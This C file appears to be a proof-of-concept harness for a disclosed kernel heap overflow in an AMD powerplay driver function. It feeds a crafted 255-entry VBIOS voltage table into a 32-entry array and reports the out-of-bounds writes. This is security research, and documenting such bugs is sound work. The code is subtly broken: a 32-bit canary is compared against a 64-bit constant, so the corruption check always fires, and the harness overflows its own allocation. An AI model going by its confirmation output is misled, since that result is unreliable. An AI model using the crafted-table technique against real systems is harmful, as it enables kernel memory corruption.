DF-3683 / svi2_v0_overflow.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 | /* * DF-3683 harness: verbatim reproduction of phm_get_svi2_voltage_table_v0() * from sys/dev/drm/amd/powerplay/hwmgr/smu7_hwmgr.c:219-239, driven with a * VBIOS-controlled V0 dependency-table count of 255 (u8 max, no validation in * processpptables.c get_clock_voltage_dependency_table:391). * * Struct layouts are copied 1:1 from: * - ppatomctrl.h:200-213 (pp_atomctrl_voltage_table, entries[32]) * - smu7_hwmgr.h:250-253 (vddc/vddci/mvdd/vddgfx tables adjacent in the * heap-allocated struct smu7_hwmgr backend) * A canary field models the backend members that follow vddgfx_voltage_table * (mgcg_cgtt_local2 ... at smu7_hwmgr.h:254+). * * Expected: the loop writes entries[32..254] => 223 entries * 8 bytes = * 1784 bytes past the end of entries[32], fully corrupting the adjacent * vddci/mvdd/vddgfx tables and the canary (kernel heap OOB write). */ #include <stdio.h> #include <stdint.h> #include <string.h> #include <stdlib.h> #define PP_ATOMCTRL_MAX_VOLTAGE_ENTRIES 32 struct pp_atomctrl_voltage_table_entry { uint16_t value; uint32_t smio_low; }; struct pp_atomctrl_voltage_table { uint32_t count; uint32_t mask_low; uint32_t phase_delay; struct pp_atomctrl_voltage_table_entry entries[PP_ATOMCTRL_MAX_VOLTAGE_ENTRIES]; }; /* V0 dependency table (processpptables.c:375-404 allocates count entries) */ struct dep_entry { unsigned long clk; unsigned long v; }; struct dep_table { unsigned long count; struct dep_entry entries[255]; }; /* model of struct smu7_hwmgr slice (smu7_hwmgr.h:250-254) */ struct backend_slice { struct pp_atomctrl_voltage_table vddc_voltage_table; struct pp_atomctrl_voltage_table vddci_voltage_table; struct pp_atomctrl_voltage_table mvdd_voltage_table; struct pp_atomctrl_voltage_table vddgfx_voltage_table; uint32_t mgcg_cgtt_local2; /* first scalar after the four tables */ uint32_t canary[31]; }; /* ---- verbatim kernel code (smu7_hwmgr.c:219-239), PP_ASSERT removed ---- */ static int phm_get_svi2_voltage_table_v0(struct pp_atomctrl_voltage_table *voltage_table, struct dep_table *voltage_dependency_table) { uint32_t i; voltage_table->mask_low = 0; voltage_table->phase_delay = 0; voltage_table->count = voltage_dependency_table->count; for (i = 0; i < voltage_dependency_table->count; i++) { voltage_table->entries[i].value = voltage_dependency_table->entries[i].v; voltage_table->entries[i].smio_low = 0; } return 0; } /* ---- end verbatim ---- */ int main(void) { struct backend_slice *be = calloc(1, sizeof(*be)); struct dep_table *dep = calloc(1, sizeof(*dep)); size_t i, oob_writes = 0; uint64_t first_oob_off = 0; printf("sizeof(pp_atomctrl_voltage_table)=%zu entries_capacity=%zu bytes\n", sizeof(struct pp_atomctrl_voltage_table), (size_t)PP_ATOMCTRL_MAX_VOLTAGE_ENTRIES * sizeof(struct pp_atomctrl_voltage_table_entry)); for (i = 0; i < 31; i++) be->canary[i] = 0xA5A5A5A5A5A5A5A5ULL; be->mgcg_cgtt_local2 = 0xA5A5A5A5; /* crafted VBIOS: 255 dependency entries with distinct voltages */ dep->count = 255; for (i = 0; i < 255; i++) { dep->entries[i].clk = 10000 + i * 1000; dep->entries[i].v = 600 + i; /* mV, lands in entries[].value */ } phm_get_svi2_voltage_table_v0(&be->vddc_voltage_table, dep); /* how far past entries[31] did the loop write? */ for (i = PP_ATOMCTRL_MAX_VOLTAGE_ENTRIES; i < 255; i++) { uint16_t got = *(uint16_t *)((char *)be->vddc_voltage_table.entries + i * sizeof(struct pp_atomctrl_voltage_table_entry)); if (got == (uint16_t)(600 + i)) { if (!oob_writes) first_oob_off = (char *)&be->vddc_voltage_table.entries[i] - (char *)&be->vddc_voltage_table.entries[PP_ATOMCTRL_MAX_VOLTAGE_ENTRIES]; oob_writes++; } } printf("out-of-bounds entry writes observed: %zu (first at +%llu bytes past entries[31])\n", oob_writes, (unsigned long long)first_oob_off); printf("vddci_voltage_table.count corrupted: %u (expected 0)\n", be->vddci_voltage_table.count); printf("vddci_voltage_table.entries[0].value: %u (expected 0)\n", be->vddci_voltage_table.entries[0].value); printf("vddgfx_voltage_table.entries[0].value: %u (expected 0)\n", be->vddgfx_voltage_table.entries[0].value); printf("mgcg_cgtt_local2 after overflow: 0x%x (expected 0xa5a5a5a5)\n", be->mgcg_cgtt_local2); for (i = 0; i < 31; i++) { if (be->canary[i] != 0xA5A5A5A5A5A5A5A5ULL) { printf("canary[%zu] CORRUPTED: 0x%llx\n", i, (unsigned long long)be->canary[i]); } } if (oob_writes >= 200 && be->canary[0] != 0xA5A5A5A5A5A5A5A5ULL) { printf("RESULT: OOB WRITE CONFIRMED - %zu forged entries written past " "entries[32], clobbering vddci/mvdd/vddgfx tables and backend fields\n", oob_writes); return 0; } fprintf(stderr, "RESULT: overflow not observed\n"); return 1; } |